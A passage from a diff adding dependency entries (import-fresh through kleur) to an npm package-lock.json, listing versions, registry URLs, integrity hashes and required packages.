"sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "requires": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + } + }, + "import-lazy": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz", + "integrity": "sha512-m7ZEHgtw69qOGw+jwxXkHlrlIPdTGkyh66zXZ1ajZbxkDBNjSY/LGbmjc7h0s2ELsUDTAhFr55TrPSSqJGPG0A==" + }, + "imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==" + }, + "indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==" + }, + "infima": { + "version": "0.2.0-alpha.43", + "resolved": "https://registry.npmjs.org/infima/-/infima-0.2.0-alpha.43.tgz", + "integrity": "sha512-2uw57LvUqW0rK/SWYnd/2rRfxNA5DDNOh33jxF7fy46VWoNhGxiUQyVZHbBMjQ33mQem0cjdDVwgWVAmlRfgyQ==" + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" + }, + "inline-style-parser": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.1.1.tgz", + "integrity": "sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==" + }, + "internal-slot": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.5.tgz", + "integrity": "sha512-Y+R5hJrzs52QCG2laLn4udYVnxsfny9CpOhNhUvk/SSSVyF6T27FzRbF0sroPidSu3X8oEAkOn2K804mjpt6UQ==", + "dev": true, + "requires": { + "get-intrinsic": "^1.2.0", + "has": "^1.0.3", + "side-channel": "^1.0.4" + } + }, + "interpret": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", + "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==" + }, + "invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "requires": { + "loose-envify": "^1.0.0" + } + }, + "ipaddr.js": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.1.0.tgz", + "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==" + }, + "is-alphabetical": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz", + "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==" + }, + "is-alphanumerical": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz", + "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==", + "requires": { + "is-alphabetical": "^1.0.0", + "is-decimal": "^1.0.0" + } + }, + "is-array-buffer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.2.tgz", + "integrity": "sha512-y+FyyR/w8vfIRq4eQcM1EYgSTnmHXPqaF+IgzgraytCFq5Xh8lllDVmAZolPJiZttZLeFSINPYMaEJ7/vWUa1w==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.2.0", + "is-typed-array": "^1.1.10" + } + }, + "is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "is-async-function": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.0.0.tgz", + "integrity": "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==", + "dev": true, + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dev": true, + "requires": { + "has-bigints": "^1.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + } + }, + "is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==" + }, + "is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true + }, + "is-ci": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz", + "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==", + "requires": { + "ci-info": "^2.0.0" + }, + "dependencies": { + "ci-info": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==" + } + } + }, + "is-core-module": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.0.tgz", + "integrity": "sha512-Z7dk6Qo8pOCp3l4tsX2C5ZVas4V+UxwQodwZhLopL91TX8UyyHEXafPcyoeeWuLrwzHcr3igO78wNLwHJHsMCQ==", + "requires": { + "has": "^1.0.3" + } + }, + "is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-decimal": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz", + "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==" + }, + "is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==" + }, + "is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==" + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==" + }, + "is-finalizationregistry": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.0.2.tgz", + "integrity": "sha512-0by5vtUJs8iFQb5TYUHHPudOR+qXYIMKtiUzvLIZITZUjknFmziyBJuLhVRc+Ds0dREFlskDNJKYIdIzu/9pfw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2" + } + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==" + }, + "is-generator-function": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz", + "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==", + "dev": true, + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-hexadecimal": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz", + "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==" + }, + "is-installed-globally": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.4.0.tgz", + "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==", + "requires": { + "global-dirs": "^3.0.0", + "is-path-inside": "^3.0.2" + } + }, + "is-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.2.tgz", + "integrity": "sha512-cOZFQQozTha1f4MxLFzlgKYPTyj26picdZTx82hbc/Xf4K/tZOOXSCkMvU4pKioRXGDLJRn0GM7Upe7kR721yg==", + "dev": true + }, + "is-negative-zero": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==", + "dev": true + }, + "is-npm": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-5.0.0.tgz", + "integrity": "sha512-WW/rQLOazUq+ST/bCAVBp/2oMERWLsR7OrKyt052dNDk4DHcDE0/7QSXITlmi+VBcV13DfIbysG3tZJm5RfdBA==" + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" + }, + "is-number-object": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "dev": true, + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", + "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==" + }, + "is-path-cwd": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz", + "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==" + }, + "is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==" + }, + "is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "requires": { + "isobject": "^3.0.1" + } + }, + "is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + } + }, + "is-regexp": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz", + "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==" + }, + "is-root": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz", + "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg==" + }, + "is-set": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.2.tgz", + "integrity": "sha512-+2cnTEZeY5z/iXGbLhPrOAaK/Mau5k5eXq9j14CpRTftq0pAJu2MwVRSZhyZWBzx3o6X795Lz6Bpb6R0GKf37g==", + "dev": true + }, + "is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dev": true, + "requires": { + "call-bind": "^1.0.2" + } + }, + "is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dev": true, + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, + "requires": { + "has-symbols": "^1.0.2" + } + }, + "is-typed-array": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.12.tgz", + "integrity": "sha512-Z14TF2JNG8Lss5/HMqt0//T9JeHXttXy5pH/DBU4vi98ozO2btxzq9MwYDZYnKwU8nRsz/+GVFVRDq3DkVuSPg==", + "dev": true, + "requires": { + "which-typed-array": "^1.1.11" + } + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==" + }, + "is-weakmap": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.1.tgz", + "integrity": "sha512-NSBR4kH5oVj1Uwvv970ruUkCV7O1mzgVFO4/rev2cLRda9Tm9HrL70ZPut4rOHgY0FNrUu9BCbXA2sdQ+x0chA==", + "dev": true + }, + "is-weakref": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "dev": true, + "requires": { + "call-bind": "^1.0.2" + } + }, + "is-weakset": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.2.tgz", + "integrity": "sha512-t2yVvttHkQktwnNNmBQ98AhENLdPUTDTE21uPqAQ0ARwQfGeQKRVS0NNurH7bTf7RrvcVn1OOge45CnBeHCSmg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + } + }, + "is-whitespace-character": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-whitespace-character/-/is-whitespace-character-1.0.4.tgz", + "integrity": "sha512-SDweEzfIZM0SJV0EUga669UTKlmL0Pq8Lno0QDQsPnvECB3IM2aP0gdx5TrU0A01MAPfViaZiI2V1QMZLaKK5w==" + }, + "is-word-character": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-word-character/-/is-word-character-1.0.4.tgz", + "integrity": "sha512-5SMO8RVennx3nZrqtKwCGyyetPE9VDba5ugvKLaD4KopPG5kR4mQ7tNt/r7feL5yt5h3lpuBbIUmCOG2eSzXHA==" + }, + "is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "requires": { + "is-docker": "^2.0.0" + } + }, + "is-yarn-global": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/is-yarn-global/-/is-yarn-global-0.3.0.tgz", + "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw==" + }, + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==" + }, + "isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==" + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==" + }, + "iterator.prototype": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.0.tgz", + "integrity": "sha512-rjuhAk1AJ1fssphHD0IFV6TWL40CwRZ53FrztKx43yk2v6rguBYsY4Bj1VU4HmoMmKwZUlx7mfnhDf9cOp4YTw==", + "dev": true, + "requires": { + "define-properties": "^1.1.4", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "has-tostringtag": "^1.0.0", + "reflect.getprototypeof": "^1.0.3" + } + }, + "jest-util": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.6.3.tgz", + "integrity": "sha512-QUjna/xSy4B32fzcKTSz1w7YYzgiHrjjJjevdRf61HYk998R5vVMMNmrHESYZVDS5DSWs+1srPLPKxXPkeSDOA==", + "requires": { + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + } + }, + "jest-worker": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.6.3.tgz", + "integrity": "sha512-wacANXecZ/GbQakpf2CClrqrlwsYYDSXFd4fIGdL+dXpM2GWoJ+6bhQ7vR3TKi3+gkSfBkjy1/khH/WrYS4Q6g==", + "requires": { + "@types/node": "*", + "jest-util": "^29.6.3", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "dependencies": { + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jiti": { + "version": "1.19.3", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.19.3.tgz", + "integrity": "sha512-5eEbBDQT/jF1xg6l36P+mWGGoH9Spuy0PCdSr2dtWRDGC6ph/w9ZCL4lmESW8f8F7MwT3XKescfP0wnZWAKL9w==" + }, + "joi": { + "version": "17.9.2", + "resolved": "https://registry.npmjs.org/joi/-/joi-17.9.2.tgz", + "integrity": "sha512-Itk/r+V4Dx0V3c7RLFdRh12IOjySm2/WGPMubBT92cQvRfYZhPM2W0hZlctjj72iES8jsRCwp7S/cRmWBnJ4nw==", + "requires": { + "@hapi/hoek": "^9.0.0", + "@hapi/topo": "^5.0.0", + "@sideway/address": "^4.1.3", + "@sideway/formula": "^3.0.1", + "@sideway/pinpoint": "^2.0.0" + } + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "requires": { + "argparse": "^2.0.1" + } + }, + "jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==" + }, + "json-buffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", + "integrity": "sha512-CuUqjv0FUZIdXkHPI8MezCnFCdaTAacej1TZYulLoAg1h/PhwkdXFN4V/gzY4g+fMBCOV2xF+rp7t2XD2ns/NQ==" + }, + "json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "devOptional": true + }, + "json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==" + }, + "jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "requires": { + "graceful-fs": "^4.1.6", + "universalify": "^2.0.0" + } + }, + "jsx-ast-utils": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", + "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", + "dev": true, + "requires": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "object.assign": "^4.1.4", + "object.values": "^1.1.6" + } + }, + "keyv": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.0.0.tgz", + "integrity": "sha512-eguHnq22OE3uVoSYG0LVWNP+4ppamWr9+zWBe1bsNcovIMy6huUJFPgy4mGwCd/rnl3vOLGW1MTlu4c57CT1xA==", + "requires": { + "json-buffer": "3.0.0" + } + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==" + }, + "kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": 